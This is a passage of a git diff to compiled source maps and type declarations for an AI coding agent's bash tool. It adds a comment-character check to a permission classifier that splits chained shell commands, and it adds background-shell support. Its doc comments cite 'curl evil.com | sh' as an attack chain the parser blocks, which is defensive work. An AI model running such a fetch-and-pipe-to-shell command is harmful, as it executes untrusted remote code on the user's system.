this.#entries.get(handle)?.command;\n\t}\n}\n\nexport function createBackgroundShellRegistry(): BackgroundShellRegistry {\n\treturn new BackgroundShellRegistry();\n}\n"]}
@@ -1 +1 @@
1
- {"version":3,"file":"bash-command-segments.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash-command-segments.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,MAAM,MAAM,yBAAyB,GAClC;IAAE,IAAI,EAAE,OAAO,CAAA;CAAE,GACjB;IAAE,IAAI,EAAE,aAAa,CAAA;CAAE,GACvB;IAAE,IAAI,EAAE,UAAU,CAAC;IAAC,QAAQ,EAAE,SAAS,MAAM,EAAE,CAAA;CAAE,CAAC;AAIrD,wBAAgB,mBAAmB,CAAC,OAAO,EAAE,MAAM,GAAG,yBAAyB,CAsH9E","sourcesContent":["/**\n * Decomposes a bash command string into the individual commands a shell would\n * actually run, for permission matching (ADR 0004). A rule authorizes a chained\n * command only if every resulting segment matches — so a narrow rule like\n * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.\n *\n * Classification is deliberately conservative: any construct the tokenizer does\n * not fully model — command substitution, backticks, process substitution, an\n * unterminated quote — returns \"unparseable\" rather than a partial or best-effort\n * segment list. A caller must never treat \"unparseable\" as \"no segments\" (which\n * would vacuously authorize the call); it must resolve to `ask`.\n */\n\nexport type BashCommandClassification =\n\t| { type: \"empty\" }\n\t| { type: \"unparseable\" }\n\t| { type: \"segments\"; segments: readonly string[] };\n\nconst ESCAPABLE_IN_DOUBLE_QUOTES = new Set([\"$\", \"`\", '\"', \"\\\\\", \"\\n\"]);\n\nexport function classifyBashCommand(command: string): BashCommandClassification {\n\tconst segments: string[] = [];\n\tlet current = \"\";\n\tlet quote: '\"' | \"'\" | undefined;\n\tlet i = 0;\n\tconst n = command.length;\n\n\tconst pushSegment = (): void => {\n\t\tconst trimmed = current.trim();\n\t\tif (trimmed) segments.push(trimmed);\n\t\tcurrent = \"\";\n\t};\n\n\twhile (i < n) {\n\t\tconst ch = command[i];\n\t\tconst next = command[i + 1];\n\n\t\tif (quote === \"'\") {\n\t\t\t// Single quotes are fully literal in bash: no escaping, no substitution.\n\t\t\tif (ch === \"'\") {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Command/backtick substitution is live both unquoted and inside double\n\t\t// quotes — only single quotes suppress it. Checked before double-quote\n\t\t// escape handling so an unrecognized-in-bash backslash pairing can never\n\t\t// hide a real substitution trigger from this check.\n\t\tif (ch === \"$\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (ch === \"`\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \"<\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \">\" && next === \"(\") return { type: \"unparseable\" };\n\n\t\tif (quote === '\"') {\n\t\t\tif (ch === '\"') {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (ch === \"$\") return { type: \"unparseable\" };\n\t\t\tif (ch === \"\\\\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {\n\t\t\t\tcurrent += ch + next;\n\t\t\t\ti += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Unquoted.\n\t\tif (ch === \"'\" || ch === '\"') {\n\t\t\tquote = ch;\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"\\\\\" && next !== undefined) {\n\t\t\tcurrent += ch + next;\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\t// These forms make a seemingly read-only command perform I/O, expand into\n\t\t// different arguments, or introduce grammar this deliberately small parser\n\t\t// cannot prove safe. A permission rule must never authorize them by prefix.\n\t\tif (\n\t\t\tch === \"<\" ||\n\t\t\tch === \">\" ||\n\t\t\tch === \"$\" ||\n\t\t\tch === \"{\" ||\n\t\t\tch === \"}\" ||\n\t\t\tch === \"(\" ||\n\t\t\tch === \")\" ||\n\t\t\tch === \"*\" ||\n\t\t\tch === \"?\" ||\n\t\t\tch === \"[\" ||\n\t\t\tch === \"]\" ||\n\t\t\tch === \"~\"\n\t\t) {\n\t\t\treturn { type: \"unparseable\" };\n\t\t}\n\t\tif (ch === \"\\n\" || ch === \";\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"&\" && next === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" && next === \"|\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" || ch === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += ch;\n\t\ti++;\n\t}\n\n\tif (quote !== undefined) return { type: \"unparseable\" }; // unterminated quote\n\n\tpushSegment();\n\n\treturn segments.length === 0 ? { type: \"empty\" } : { type: \"segments\", segments };\n}\n"]}
1
+ {"version":3,"file":"bash-command-segments.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash-command-segments.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,MAAM,MAAM,yBAAyB,GAClC;IAAE,IAAI,EAAE,OAAO,CAAA;CAAE,GACjB;IAAE,IAAI,EAAE,aAAa,CAAA;CAAE,GACvB;IAAE,IAAI,EAAE,UAAU,CAAC;IAAC,QAAQ,EAAE,SAAS,MAAM,EAAE,CAAA;CAAE,CAAC;AAIrD,wBAAgB,mBAAmB,CAAC,OAAO,EAAE,MAAM,GAAG,yBAAyB,CAuH9E","sourcesContent":["/**\n * Decomposes a bash command string into the individual commands a shell would\n * actually run, for permission matching (ADR 0004). A rule authorizes a chained\n * command only if every resulting segment matches — so a narrow rule like\n * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.\n *\n * Classification is deliberately conservative: any construct the tokenizer does\n * not fully model — command substitution, backticks, process substitution, an\n * unterminated quote — returns \"unparseable\" rather than a partial or best-effort\n * segment list. A caller must never treat \"unparseable\" as \"no segments\" (which\n * would vacuously authorize the call); it must resolve to `ask`.\n */\n\nexport type BashCommandClassification =\n\t| { type: \"empty\" }\n\t| { type: \"unparseable\" }\n\t| { type: \"segments\"; segments: readonly string[] };\n\nconst ESCAPABLE_IN_DOUBLE_QUOTES = new Set([\"$\", \"`\", '\"', \"\\\\\", \"\\n\"]);\n\nexport function classifyBashCommand(command: string): BashCommandClassification {\n\tconst segments: string[] = [];\n\tlet current = \"\";\n\tlet quote: '\"' | \"'\" | undefined;\n\tlet i = 0;\n\tconst n = command.length;\n\n\tconst pushSegment = (): void => {\n\t\tconst trimmed = current.trim();\n\t\tif (trimmed) segments.push(trimmed);\n\t\tcurrent = \"\";\n\t};\n\n\twhile (i < n) {\n\t\tconst ch = command[i];\n\t\tconst next = command[i + 1];\n\n\t\tif (quote === \"'\") {\n\t\t\t// Single quotes are fully literal in bash: no escaping, no substitution.\n\t\t\tif (ch === \"'\") {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Command/backtick substitution is live both unquoted and inside double\n\t\t// quotes — only single quotes suppress it. Checked before double-quote\n\t\t// escape handling so an unrecognized-in-bash backslash pairing can never\n\t\t// hide a real substitution trigger from this check.\n\t\tif (ch === \"$\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (ch === \"`\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \"<\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \">\" && next === \"(\") return { type: \"unparseable\" };\n\n\t\tif (quote === '\"') {\n\t\t\tif (ch === '\"') {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (ch === \"$\") return { type: \"unparseable\" };\n\t\t\tif (ch === \"\\\\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {\n\t\t\t\tcurrent += ch + next;\n\t\t\t\ti += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Unquoted.\n\t\tif (ch === \"'\" || ch === '\"') {\n\t\t\tquote = ch;\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"\\\\\" && next !== undefined) {\n\t\t\tcurrent += ch + next;\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\t// These forms make a seemingly read-only command perform I/O, expand into\n\t\t// different arguments, or introduce grammar this deliberately small parser\n\t\t// cannot prove safe. A permission rule must never authorize them by prefix.\n\t\tif (ch === \"#\") return { type: \"unparseable\" };\n\t\tif (\n\t\t\tch === \"<\" ||\n\t\t\tch === \">\" ||\n\t\t\tch === \"$\" ||\n\t\t\tch === \"{\" ||\n\t\t\tch === \"}\" ||\n\t\t\tch === \"(\" ||\n\t\t\tch === \")\" ||\n\t\t\tch === \"*\" ||\n\t\t\tch === \"?\" ||\n\t\t\tch === \"[\" ||\n\t\t\tch === \"]\" ||\n\t\t\tch === \"~\"\n\t\t) {\n\t\t\treturn { type: \"unparseable\" };\n\t\t}\n\t\tif (ch === \"\\n\" || ch === \";\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"&\" && next === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" && next === \"|\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" || ch === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += ch;\n\t\ti++;\n\t}\n\n\tif (quote !== undefined) return { type: \"unparseable\" }; // unterminated quote\n\n\tpushSegment();\n\n\treturn segments.length === 0 ? { type: \"empty\" } : { type: \"segments\", segments };\n}\n"]}
@@ -83,6 +83,8 @@ export function classifyBashCommand(command) {
83
83
  // These forms make a seemingly read-only command perform I/O, expand into
84
84
  // different arguments, or introduce grammar this deliberately small parser
85
85
  // cannot prove safe. A permission rule must never authorize them by prefix.
86
+ if (ch === "#")
87
+ return { type: "unparseable" };
86
88
  if (ch === "<" ||
87
89
  ch === ">" ||
88
90
  ch === "$" ||
@@ -1 +1 @@
1
- {"version":3,"file":"bash-command-segments.js","sourceRoot":"","sources":["../../../src/core/tools/bash-command-segments.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAOH,MAAM,0BAA0B,GAAG,IAAI,GAAG,CAAC,CAAC,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC,CAAC;AAExE,MAAM,UAAU,mBAAmB,CAAC,OAAe,EAA6B;IAC/E,MAAM,QAAQ,GAAa,EAAE,CAAC;IAC9B,IAAI,OAAO,GAAG,EAAE,CAAC;IACjB,IAAI,KAA4B,CAAC;IACjC,IAAI,CAAC,GAAG,CAAC,CAAC;IACV,MAAM,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC;IAEzB,MAAM,WAAW,GAAG,GAAS,EAAE,CAAC;QAC/B,MAAM,OAAO,GAAG,OAAO,CAAC,IAAI,EAAE,CAAC;QAC/B,IAAI,OAAO;YAAE,QAAQ,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;QACpC,OAAO,GAAG,EAAE,CAAC;IAAA,CACb,CAAC;IAEF,OAAO,CAAC,GAAG,CAAC,EAAE,CAAC;QACd,MAAM,EAAE,GAAG,OAAO,CAAC,CAAC,CAAC,CAAC;QACtB,MAAM,IAAI,GAAG,OAAO,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC;QAE5B,IAAI,KAAK,KAAK,GAAG,EAAE,CAAC;YACnB,yEAAyE;YACzE,IAAI,EAAE,KAAK,GAAG,EAAE,CAAC;gBAChB,KAAK,GAAG,SAAS,CAAC;gBAClB,OAAO,IAAI,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QACV,CAAC;QAED,OAAO,IAAI,EAAE,CAAC;QACd,CAAC,EAAE,CAAC;IACL,CAAC;IAED,IAAI,KAAK,KAAK,SAAS;QAAE,OAAO,EAAE,IAAI,EAAE,aAAa,EAAE,CAAC,CAAC,qBAAqB;IAE9E,WAAW,EAAE,CAAC;IAEd,OAAO,QAAQ,CAAC,MAAM,KAAK,CAAC,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,UAAU,EAAE,QAAQ,EAAE,CAAC;AAAA,CAClF","sourcesContent":["/**\n * Decomposes a bash command string into the individual commands a shell would\n * actually run, for permission matching (ADR 0004). A rule authorizes a chained\n * command only if every resulting segment matches — so a narrow rule like\n * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.\n *\n * Classification is deliberately conservative: any construct the tokenizer does\n * not fully model — command substitution, backticks, process substitution, an\n * unterminated quote — returns \"unparseable\" rather than a partial or best-effort\n * segment list. A caller must never treat \"unparseable\" as \"no segments\" (which\n * would vacuously authorize the call); it must resolve to `ask`.\n */\n\nexport type BashCommandClassification =\n\t| { type: \"empty\" }\n\t| { type: \"unparseable\" }\n\t| { type: \"segments\"; segments: readonly string[] };\n\nconst ESCAPABLE_IN_DOUBLE_QUOTES = new Set([\"$\", \"`\", '\"', \"\\\\\", \"\\n\"]);\n\nexport function classifyBashCommand(command: string): BashCommandClassification {\n\tconst segments: string[] = [];\n\tlet current = \"\";\n\tlet quote: '\"' | \"'\" | undefined;\n\tlet i = 0;\n\tconst n = command.length;\n\n\tconst pushSegment = (): void => {\n\t\tconst trimmed = current.trim();\n\t\tif (trimmed) segments.push(trimmed);\n\t\tcurrent = \"\";\n\t};\n\n\twhile (i < n) {\n\t\tconst ch = command[i];\n\t\tconst next = command[i + 1];\n\n\t\tif (quote === \"'\") {\n\t\t\t// Single quotes are fully literal in bash: no escaping, no substitution.\n\t\t\tif (ch === \"'\") {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Command/backtick substitution is live both unquoted and inside double\n\t\t// quotes — only single quotes suppress it. Checked before double-quote\n\t\t// escape handling so an unrecognized-in-bash backslash pairing can never\n\t\t// hide a real substitution trigger from this check.\n\t\tif (ch === \"$\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (ch === \"`\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \"<\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \">\" && next === \"(\") return { type: \"unparseable\" };\n\n\t\tif (quote === '\"') {\n\t\t\tif (ch === '\"') {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (ch === \"$\") return { type: \"unparseable\" };\n\t\t\tif (ch === \"\\\\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {\n\t\t\t\tcurrent += ch + next;\n\t\t\t\ti += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Unquoted.\n\t\tif (ch === \"'\" || ch === '\"') {\n\t\t\tquote = ch;\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"\\\\\" && next !== undefined) {\n\t\t\tcurrent += ch + next;\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\t// These forms make a seemingly read-only command perform I/O, expand into\n\t\t// different arguments, or introduce grammar this deliberately small parser\n\t\t// cannot prove safe. A permission rule must never authorize them by prefix.\n\t\tif (\n\t\t\tch === \"<\" ||\n\t\t\tch === \">\" ||\n\t\t\tch === \"$\" ||\n\t\t\tch === \"{\" ||\n\t\t\tch === \"}\" ||\n\t\t\tch === \"(\" ||\n\t\t\tch === \")\" ||\n\t\t\tch === \"*\" ||\n\t\t\tch === \"?\" ||\n\t\t\tch === \"[\" ||\n\t\t\tch === \"]\" ||\n\t\t\tch === \"~\"\n\t\t) {\n\t\t\treturn { type: \"unparseable\" };\n\t\t}\n\t\tif (ch === \"\\n\" || ch === \";\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"&\" && next === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" && next === \"|\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" || ch === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += ch;\n\t\ti++;\n\t}\n\n\tif (quote !== undefined) return { type: \"unparseable\" }; // unterminated quote\n\n\tpushSegment();\n\n\treturn segments.length === 0 ? { type: \"empty\" } : { type: \"segments\", segments };\n}\n"]}
1
+ {"version":3,"file":"bash-command-segments.js","sourceRoot":"","sources":["../../../src/core/tools/bash-command-segments.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAOH,MAAM,0BAA0B,GAAG,IAAI,GAAG,CAAC,CAAC,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC,CAAC;AAExE,MAAM,UAAU,mBAAmB,CAAC,OAAe,EAA6B;IAC/E,MAAM,QAAQ,GAAa,EAAE,CAAC;IAC9B,IAAI,OAAO,GAAG,EAAE,CAAC;IACjB,IAAI,KAA4B,CAAC;IACjC,IAAI,CAAC,GAAG,CAAC,CAAC;IACV,MAAM,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC;IAEzB,MAAM,WAAW,GAAG,GAAS,EAAE,CAAC;QAC/B,MAAM,OAAO,GAAG,OAAO,CAAC,IAAI,E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IAAI,IAAI,EAAE,KAAK,GAAG,EAAE,CAAC;YAC/B,WAAW,EAAE,CAAC;YACd,CAAC,EAAE,CAAC;YACJ,SAAS;QACV,CAAC;QACD,IAAI,EAAE,KAAK,GAAG,IAAI,IAAI,KAAK,GAAG,EAAE,CAAC;YAChC,WAAW,EAAE,CAAC;YACd,CAAC,IAAI,CAAC,CAAC;YACP,SAAS;QACV,CAAC;QACD,IAAI,EAAE,KAAK,GAAG,IAAI,IAAI,KAAK,GAAG,EAAE,CAAC;YAChC,WAAW,EAAE,CAAC;YACd,CAAC,IAAI,CAAC,CAAC;YACP,SAAS;QACV,CAAC;QACD,IAAI,EAAE,KAAK,GAAG,IAAI,EAAE,KAAK,GAAG,EAAE,CAAC;YAC9B,WAAW,EAAE,CAAC;YACd,CAAC,EAAE,CAAC;YACJ,SAAS;QACV,CAAC;QAED,OAAO,IAAI,EAAE,CAAC;QACd,CAAC,EAAE,CAAC;IACL,CAAC;IAED,IAAI,KAAK,KAAK,SAAS;QAAE,OAAO,EAAE,IAAI,EAAE,aAAa,EAAE,CAAC,CAAC,qBAAqB;IAE9E,WAAW,EAAE,CAAC;IAEd,OAAO,QAAQ,CAAC,MAAM,KAAK,CAAC,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,UAAU,EAAE,QAAQ,EAAE,CAAC;AAAA,CAClF","sourcesContent":["/**\n * Decomposes a bash command string into the individual commands a shell would\n * actually run, for permission matching (ADR 0004). A rule authorizes a chained\n * command only if every resulting segment matches — so a narrow rule like\n * `git commit:*` can never authorize `git commit -m x && curl evil.com | sh`.\n *\n * Classification is deliberately conservative: any construct the tokenizer does\n * not fully model — command substitution, backticks, process substitution, an\n * unterminated quote — returns \"unparseable\" rather than a partial or best-effort\n * segment list. A caller must never treat \"unparseable\" as \"no segments\" (which\n * would vacuously authorize the call); it must resolve to `ask`.\n */\n\nexport type BashCommandClassification =\n\t| { type: \"empty\" }\n\t| { type: \"unparseable\" }\n\t| { type: \"segments\"; segments: readonly string[] };\n\nconst ESCAPABLE_IN_DOUBLE_QUOTES = new Set([\"$\", \"`\", '\"', \"\\\\\", \"\\n\"]);\n\nexport function classifyBashCommand(command: string): BashCommandClassification {\n\tconst segments: string[] = [];\n\tlet current = \"\";\n\tlet quote: '\"' | \"'\" | undefined;\n\tlet i = 0;\n\tconst n = command.length;\n\n\tconst pushSegment = (): void => {\n\t\tconst trimmed = current.trim();\n\t\tif (trimmed) segments.push(trimmed);\n\t\tcurrent = \"\";\n\t};\n\n\twhile (i < n) {\n\t\tconst ch = command[i];\n\t\tconst next = command[i + 1];\n\n\t\tif (quote === \"'\") {\n\t\t\t// Single quotes are fully literal in bash: no escaping, no substitution.\n\t\t\tif (ch === \"'\") {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Command/backtick substitution is live both unquoted and inside double\n\t\t// quotes — only single quotes suppress it. Checked before double-quote\n\t\t// escape handling so an unrecognized-in-bash backslash pairing can never\n\t\t// hide a real substitution trigger from this check.\n\t\tif (ch === \"$\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (ch === \"`\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \"<\" && next === \"(\") return { type: \"unparseable\" };\n\t\tif (quote === undefined && ch === \">\" && next === \"(\") return { type: \"unparseable\" };\n\n\t\tif (quote === '\"') {\n\t\t\tif (ch === '\"') {\n\t\t\t\tquote = undefined;\n\t\t\t\tcurrent += ch;\n\t\t\t\ti++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (ch === \"$\") return { type: \"unparseable\" };\n\t\t\tif (ch === \"\\\\\" && next !== undefined && ESCAPABLE_IN_DOUBLE_QUOTES.has(next)) {\n\t\t\t\tcurrent += ch + next;\n\t\t\t\ti += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Unquoted.\n\t\tif (ch === \"'\" || ch === '\"') {\n\t\t\tquote = ch;\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"\\\\\" && next !== undefined) {\n\t\t\tcurrent += ch + next;\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\t// These forms make a seemingly read-only command perform I/O, expand into\n\t\t// different arguments, or introduce grammar this deliberately small parser\n\t\t// cannot prove safe. A permission rule must never authorize them by prefix.\n\t\tif (ch === \"#\") return { type: \"unparseable\" };\n\t\tif (\n\t\t\tch === \"<\" ||\n\t\t\tch === \">\" ||\n\t\t\tch === \"$\" ||\n\t\t\tch === \"{\" ||\n\t\t\tch === \"}\" ||\n\t\t\tch === \"(\" ||\n\t\t\tch === \")\" ||\n\t\t\tch === \"*\" ||\n\t\t\tch === \"?\" ||\n\t\t\tch === \"[\" ||\n\t\t\tch === \"]\" ||\n\t\t\tch === \"~\"\n\t\t) {\n\t\t\treturn { type: \"unparseable\" };\n\t\t}\n\t\tif (ch === \"\\n\" || ch === \";\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"&\" && next === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" && next === \"|\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" || ch === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += ch;\n\t\ti++;\n\t}\n\n\tif (quote !== undefined) return { type: \"unparseable\" }; // unterminated quote\n\n\tpushSegment();\n\n\treturn segments.length === 0 ? { type: \"empty\" } : { type: \"segments\", segments };\n}\n"]}
@@ -1,29 +1,24 @@
1
1
  import { type AgentTool } from "apex-code-agent-core";
2
2
  import { type Static, Type } from "typebox";
3
3
  import { type ShellConfig } from "../../utils/shell.ts";
4
- import type { ApexToolDefinition, PermissionSpec } from "./contract.ts";
4
+ import { type BackgroundShellRegistry } from "./background-shell.ts";
5
+ import { type ApexToolDefinition, type PermissionSpec } from "./contract.ts";
5
6
  import { type TruncationResult } from "./truncate.ts";
6
- declare const bashSchema: Type.TObject<{
7
+ declare const bashSchema: Type.TUnion<[Type.TObject<{
7
8
  command: Type.TString;
8
9
  timeout: Type.TOptional<Type.TNumber>;
9
- }>;
10
+ background: Type.TOptional<Type.TBoolean>;
11
+ }>, Type.TObject<{
12
+ handle: Type.TString;
13
+ }>, Type.TObject<{
14
+ handle: Type.TString;
15
+ kill: Type.TLiteral<true>;
16
+ }>]>;
10
17
  export declare const bashToolSystemPromptContribution: {
11
18
  readonly snippet: "Execute bash commands (ls, grep, find, etc.)";
12
19
  readonly guidelines: readonly ["You can inspect PI_* environment variables for current model and session details."];
13
20
  };
14
21
  export type BashToolInput = Static<typeof bashSchema>;
15
- /**
16
- * bash's permission grammar (ADR 0004). A rule authorizes a call only if the
17
- * command decomposes cleanly into segments (never on "unparseable") and **every**
18
- * segment matches — a narrow rule like `git commit:*` can never authorize
19
- * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are
20
- * separate segments that do not match it.
21
- *
22
- * `ruleForCall` only generalizes a single-segment command: a multi-segment chain
23
- * has no single non-trivial rule that captures exactly what it did, and returning
24
- * one would either over-authorize (if loose) or be indistinguishable from an exact
25
- * match (if not) — `null` correctly forces `ask` for "always allow this" on a chain.
26
- */
27
22
  export declare function createBashPermissionSpec(): PermissionSpec<typeof bashSchema>;
28
23
  export interface BashExecutionFacts {
29
24
  cwd: string;
@@ -59,6 +54,20 @@ export interface BashOperations {
59
54
  executable?: string;
60
55
  argv?: string[];
61
56
  }>;
57
+ /**
58
+ * Optional. Spawn a command that outlives the call, returning as soon as the
59
+ * process exists. Backends that cannot background leave this undefined, and
60
+ * the bash tool then rejects `background: true` with a model-readable error
61
+ * rather than degrading (spec 2026-08-31-background-shell.md).
62
+ */
63
+ spawnBackground?: (command: string, cwd: string, options: {
64
+ onData: (data: Buffer) => void;
65
+ env?: NodeJS.ProcessEnv;
66
+ }) => Promise<BashBackgroundProcess>;
67
+ }
68
+ export interface BashBackgroundProcess {
69
+ pid: number | undefined;
70
+ exited: Promise<number | null>;
62
71
  }
63
72
  /** Shared process execution used by the built-in shell tools. */
64
73
  export declare function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations;
@@ -88,6 +97,12 @@ export interface BashToolOptions {
88
97
  exposeSessionEnvironment?: boolean;
89
98
  /** Hook to adjust command, cwd, or env before execution */
90
99
  spawnHook?: BashSpawnHook;
100
+ /**
101
+ * Background-shell registry (spec 2026-08-31-background-shell.md). Absent
102
+ * gets a per-definition registry; the session passes its own so background
103
+ * children are killed when the session disposes.
104
+ */
105
+ backgroundRegistry?: BackgroundShellRegistry;
91
106
  }
92
107
  export type BashRenderState = {
93
108
  startedAt: number | undefined;
@@ -1 +1 @@
1
- {"version":3,"file":"bash.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,KAAK,SAAS,EAAsB,MAAM,sBAAsB,CAAC;AAE1E,OAAO,EAAE,KAAK,MAAM,EAAE,IAAI,EAAE,MAAM,SAAS,CAAC;AAK5C,OAAO,EAIN,KAAK,WAAW,EAGhB,MAAM,sBAAsB,CAAC;AAK9B,OAAO,KAAK,EAAE,kBAAkB,EAAE,cAAc,EAAE,MAAM,eAAe,CAAC;AAIxE,OAAO,EAAoD,KAAK,gBAAgB,EAAE,MAAM,eAAe,CAAC;AAkBxG,QAAA,MAAM,UAAU;;;EAGd,CAAC;AAEH,eAAO,MAAM,gCAAgC;;;CAGnC,CAAC;AAEX,MAAM,MAAM,aAAa,GAAG,MAAM,CAAC,OAAO,U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AAgB,cAAc,CAAC,GAAG,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,eAAe,GAAG,SAAS,CAAC,OAAO,UAAU,CAAC,CAQnG","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport 